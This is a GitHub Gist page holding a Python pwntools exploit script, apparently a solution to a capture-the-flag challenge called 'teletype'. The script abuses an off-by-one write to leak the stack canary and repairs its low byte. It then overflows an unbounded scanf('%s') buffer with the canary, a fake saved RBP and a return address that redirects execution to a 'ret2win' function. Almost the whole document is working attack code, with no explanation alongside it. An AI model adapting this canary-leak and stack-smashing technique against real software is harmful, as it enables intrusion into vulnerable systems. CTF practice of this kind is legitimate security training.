Created
August 17, 2025 18:36
-
-
Save lawbyte/a1f44d67a442cea5deb9d244992f4adb to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| from pwn import * | |
| import sys | |
| context.arch = "amd64" | |
| context.log_level = "info" | |
| HOST = args.HOST or "teletype.serv1.cbd2025.cloud" | |
| PORT = int(args.PORT or 443) | |
| # non-PIE ret2win from your disassembly | |
| RET2WIN = 0x4014d6 # retrieve_priority_log() | |
| DASH = b"-------------------------------------" | |
| def wait_prompt(io): | |
| io.recvuntil(b"> ") | |
| def do_write(io, content41: bytes, number: int): | |
| assert len(content41) == 41 | |
| # at menu prompt already | |
| io.sendline(b"1") | |
| io.recvuntil(b"Enter document number") | |
| io.recvuntil(b"> ") | |
| io.sendline(str(number).encode()) | |
| io.recvuntil(b"Enter document content") | |
| io.recvuntil(b"> ") | |
| io.send(content41) # exact 41 bytes, no newline | |
| io.recvuntil(b"Document appended to queue") | |
| wait_prompt(io) # back to menu | |
| def do_retrieve_and_leak(io, marker: bytes) -> bytes: | |
| io.sendline(b"2") | |
| io.recvuntil(b"Report: ") | |
| blob = io.recvuntil(DASH, drop=True, timeout=10) | |
| off = blob.find(marker) | |
| if off < 0: | |
| blob += io.recvrepeat(0.5) | |
| off = blob.find(marker) | |
| if off < 0: | |
| log.failure("marker not found in leak; tail=%r" % blob[-128:]) | |
| sys.exit(1) | |
| tail = blob[off + len(marker):] | |
| if len(tail) < 8: | |
| tail += io.recv(timeout=1) or b"" | |
| canary_mut = tail[:8] | |
| if len(canary_mut) != 8: | |
| log.failure("incomplete canary leak: %dB" % len(canary_mut)) | |
| sys.exit(1) | |
| # true canary has 0x00 LSB by design | |
| canary_real = b"\x00" + canary_mut[1:] | |
| log.success("real canary = %s" % canary_real.hex()) | |
| # consume end-of-line then the menu prompt | |
| io.recvuntil(b"\n") | |
| wait_prompt(io) | |
| return canary_real | |
| def do_edit_overflow(io, canary_real: bytes): | |
| io.sendline(b"3") | |
| io.recvuntil(b"Enter document number") | |
| io.recvuntil(b"> ") | |
| io.sendline(b"0") # any int; writes into struct's first 4 bytes | |
| io.recvuntil(b"Enter document content") | |
| io.recvuntil(b"> ") | |
| payload = b"A" * 40 # content[40] | |
| payload += canary_real # correct canary (8) | |
| payload += b"B" * 8 # saved RBP | |
| payload += p64(RET2WIN) # RET → retrieve_priority_log() | |
| # scanf("%s") stops at whitespace; send newline only after payload | |
| io.send(payload + b"\n") | |
| io.recvuntil(b"Document amended") | |
| wait_prompt(io) | |
| def main(): | |
| io = remote(HOST, PORT, ssl=True) | |
| # boot screen prints slowly; sync to the first prompt once | |
| wait_prompt(io) | |
| # 9 filler docs (regular 41B off-by-one, but we don't care) | |
| for i in range(9): | |
| do_write(io, b"Z" * 41, i) | |
| # 10th: craft for leak: "F@" path → printf("%s", s+2) | |
| marker = b"Q" * 38 | |
| last = b"F@" + marker + b"\x42" # 41st byte flips canary LSB | |
| do_write(io, last, 9) | |
| # leak the (mutated) canary bytes that follow our marker; fix LSB to 0x00 | |
| canary_real = do_retrieve_and_leak(io, marker) | |
| # smash using unlimited scanf("%s") | |
| do_edit_overflow(io, canary_real) | |
| # return from main into ret2win | |
| io.sendline(b"5") | |
| out = io.recvall(timeout=3) | |
| try: | |
| print(out.decode("latin-1", "ignore")) | |
| except Exception: | |
| print(repr(out)) | |
| io.close() | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment